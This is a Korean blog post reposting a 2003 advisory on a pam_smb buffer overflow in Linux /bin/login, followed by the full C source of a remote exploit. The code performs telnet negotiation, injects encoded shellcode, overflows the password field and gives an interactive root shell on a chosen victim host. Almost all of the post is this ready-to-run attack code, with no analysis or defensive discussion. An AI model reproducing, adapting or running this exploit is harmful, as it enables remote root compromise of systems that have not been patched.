2013년 11월 26일 화요일

pam_smb 버퍼오버플로우 공격코드

발표날짜 : 2003.08.31

해당 시스템 : 리눅스

공격유형 : 원격

위험도 : 상

문제점 : 리눅스 pam_smb 에서 로그인 버그가 발견되었다.

원격에서 루트를 따낼 수 있으며 레드햇 8.0, 9.0 에서 성공리에 테스트 되었다.

공격법 / 공격용 소스코드 :
/*
* Linux pam_lib_smb < 1.1.6 /bin/login exploit
* by vertex
*
* Tested on Redhat 8.0, 9.0
*
* greet: nergal, ipxodi.
*
* Advisory at
* http://us2.samba.org/samba/ftp/pam_smb/
*
* code based on : UC_login.c
* SunOS 5.6,5.7,5.8 remote /bin/login root exploit
* [mikecc/unixclan]
*
* =============================================================
* In order to use pam_lib_smb, need to add following line on top
* of /etc/pam.d/login
*
* auth required /lib/security/pam_smb_auth.so
*
* And config the /etc/pam_smb.conf correctly.
*
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>

/* first negotiate */
/* packet capture by ethereal */
char packet_1[] = {
0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb,
0x1f, 0xff, 0xfb, 0x20, 0xff, 0xfb, 0x21, 0xff,
0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,
0xff, 0xfb, 0x23 };
char packet_2[] = {
0xff, 0xfa, 0x1f, 0x00, 0x62, 0x00, 0x22, 0xff,
0xf0, 0xff, 0xfa, 0x20, 0x00, 0x33, 0x38, 0x34,
0x30, 0x30, 0x2c, 0x33, 0x38, 0x34, 0x30, 0x30,
0xff, 0xf0, 0xff, 0xfa, 0x23, 0x00, 0x6c, 0x69,
0x64, 0x73,

/* in between ,adding sc */
0x3a, 0x30, 0xff, 0xf0, 0xff, 0xfa,
0x27, 0x00, 0x03, 0x58, 0x41, 0x55, 0x54, 0x48,
0x4f, 0x52, 0x49, 0x54, 0x59, 0x01, 0x2f, 0x68,
0x6f, 0x6d, 0x65, 0x2f, 0x78, 0x69, 0x65, 0x2f,
0x2e, 0x58, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72,
0x69, 0x74, 0x79, 0x00, 0x44, 0x49, 0x53, 0x50,
0x4c, 0x41, 0x59, 0x01,
};

char packet_2_1[]={

0x6c, 0x69, 0x64, 0x73,
0x3a, 0x30, 0xff, 0xf0, 0xff, 0xfa, 0x18, 0x00,
0x58, 0x54, 0x45, 0x52, 0x4d, 0xff, 0xf0 };

/* here is the TERM value */
/*
*/

void login(int);
void negotiate(int);
void sendstr(int,char *,int);
void wont(int sd,int opt);
void will(int sd,int opt);
void cmd(int sd,int opt);

/* ascii shellcode by shellforge (by phillipe biodi)*/
unsigned char sc[] =
"hAAAAX5AAAAHPPPPPPPPahA000X5nCX0PhA004X5nRYZPh0A"
"DAX5owxnPTYI19II19h0200X5U9knPTYII19I19hA000X5sO"
"kBPTY19I19I19h4000X59cF4PTY19II19I19h0000X5000FP"
"TY19I19h0002X500w9PTYI19I19h0A00X5uR00PTYII19I19"
"h04AAX5ByVyPTY19II19I19h600AX59FMVPTY19I19I19h00"
"0AX500LZPTY19II19h00E0X5Btz0PTYII19hA4A0X5R8p9PT"
"Y19I19II19h0D20X5Lx8LPTY19h0000X5000kPh00A0X5fcV"
"0PTYI19I19h00B0X5eFXgPTYI19II19\xff\xff\xe4";


int main(int argc,char **argv)
{
struct sockaddr_in sock;
struct hostent *pHe;
int sd;
short port = -1;
int x;
char *host = NULL;
char *user = NULL;
char exp[1024];
int a;
char *default_port = "23";

printf("linux_pam_smb\n");
printf("Linux lib_pam_smb < 1.1.6 /bin/login remote exploit\n");
printf("[vertex//lids/org]\n\n");
if (argc < 2)
{
printf("%s -h <victim> [-p port] \n",argv[0]);
return 0;
}
while ((a = getopt(argc,argv,"h:p:u:")) != -1)
{
switch (a)
{
case 'h':
host = optarg;
break;

case 'p':
port = atoi(optarg);
break;

default:
printf("[-] invalid option.\n");
break;
}
}
if (host == NULL)
{
printf("[-] must specify a host to attack\n");
return 0;
}
if (port < 0)
port = atoi(default_port);
if ((pHe = gethostbyname(host)) == NULL)
{
printf("Host lookup error.\n");
return 0;
}
printf("[*] attacking %s:%d\n",host,port);
printf("[*] opening socket\n");
if ((sd = socket(AF_INET,SOCK_STREAM,0)) == -1)
{
printf("[-] could not create socket");
return 0;
}
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
memcpy(&sock.sin_addr.s_addr,pHe->h_addr,pHe->h_length);
if ((connect(sd,(struct sockaddr *)&sock,sizeof(sock))) == -1)
{
printf("[-] failed to connect to %s\n",host);
return 0;
}
printf("[*] connected!\n");
printf("[*] Begin negotiate... \n");
negotiate(sd);
printf("[*] Login... \n");
login(sd);
return 0;
}


void login(int sd)
{
char buf[1024];
char exploit_buf[172];
char cx[3]="\r\n\0";
int x;
fd_set rset;

memset(exploit_buf,'\0',172);
/* let's jump to 0xbffffe30 */
/* eb 30 fe ff bf */

x = 0;
exploit_buf[x++]=0x68;
/* push 0xbffffe30 */
/* shellcode address */
exploit_buf[x++]=0x30;
exploit_buf[x++]=0xfe;
exploit_buf[x++]=0xff;
exploit_buf[x++]=0xff;
exploit_buf[x++]=0xff;
exploit_buf[x++]=0xbf;
exploit_buf[x++]=0xbf;
/* ret */
exploit_buf[x++]=0xc3;

memset(exploit_buf+x,'A',150);
x+=150;

/* will jmp in the middle of the NOP */
/* overwrite the eip with 0x40000f4f libc-2.3.2 */
/* at this address it is
pop $exx
pop $exx
ret
*/
exploit_buf[x++]=0xb5;
exploit_buf[x++]=0xd4;

sleep(2);

memset(buf,'\0',sizeof(buf));
strcpy(buf, "xie\r\n\0");

printf("[*] sending username \n");
sendstr(sd,buf,strlen(buf));

sleep(1);
printf("[*] sending password\n");
sleep(2);

memset(buf,'\0',sizeof(buf));
strcpy(buf, exploit_buf);
strcat(buf,"\r\n\0");
sendstr(sd,buf,strlen(buf));

sleep(2);
fflush(stdout);
FD_ZERO(&rset);
while (1)
{
FD_SET(sd,&rset);
FD_SET(0,&rset);
select(sd+1,&rset,0,0,0);
if (FD_ISSET(sd,&rset))
{
memset(buf,'\0',sizeof(buf));
if ((x = read(sd,buf,sizeof(buf)-1)) == 0)
{
printf("Connection closed by foreign host.\n");
exit(-1);
}
fprintf(stderr,"%s",buf);
}
if (FD_ISSET(0,&rset))
{
memset(buf,'\0',sizeof(buf));
if ((x = read(0,buf,sizeof(buf)-1)) > 0)
{
write(sd,buf,x);
}
}
}
}

/*
* telnet negotiation needed for
* talking with the telnet protocol
*/

void negotiate(int sd)
{
char buf[1024];
char nop[64];
int len;

sendstr(sd, packet_1,sizeof(packet_1));
sleep(2);

memset(buf,'\0',sizeof(buf));
memset(nop,'A',sizeof(nop));
memcpy(buf,packet_2,sizeof(packet_2));
/* adding NOP */
memcpy(buf+sizeof(packet_2), nop, sizeof(nop));
/* shellcode */
memcpy(buf+sizeof(packet_2)+sizeof(nop), sc, sizeof(sc));
/* left packet */
memcpy(buf+sizeof(packet_2)+sizeof(nop)+sizeof(sc),packet_2_1,sizeof(packet_2_1));

len = sizeof(packet_2) +sizeof(packet_2_1) + sizeof(nop)+sizeof(sc) ;
sendstr(sd, buf, len);
sleep(1);

/* wont echo */
wont(sd,TELOPT_ECHO);
sleep(1);
/* do echo */
cmd(sd,TELOPT_ECHO);

sleep(2);
}

/*
* send a telnet WONT
*
* structure of a telnet WONT is:
* 1. IAC
* 2. WONT
* 3. what you wont do
* (all of the above are found in arpa/telnet.h)
*/

void wont(int sd,int opt)
{
char buf[3];
sprintf(buf,"%c%c%c",IAC,WONT,opt);
write(sd,buf,3); /* no error checking, uh-oh! */
}

/*
* send a telnet WILL
*
* structure of a telnet WILL is:
* 1. IAC
* 2. WILL
* 3. what you will do
* (all of the above are found in arpa/telnet.h)
*/

void will(int sd,int opt)
{
char buf[3];
sprintf(buf,"%c%c%c",IAC,WILL,opt);
write(sd,buf,3); /* no error checking, uh-oh! */
}
void cmd(int sd,int opt)
{
char buf[3];
sprintf(buf,"%c\xfd%c",IAC,opt);
write(sd,buf,3); /* no error checking, uh-oh! */
}
/*
*
*/
void sendstr(int sd,char *str,int length)
{

write(sd,str,length);
sleep(1);
}

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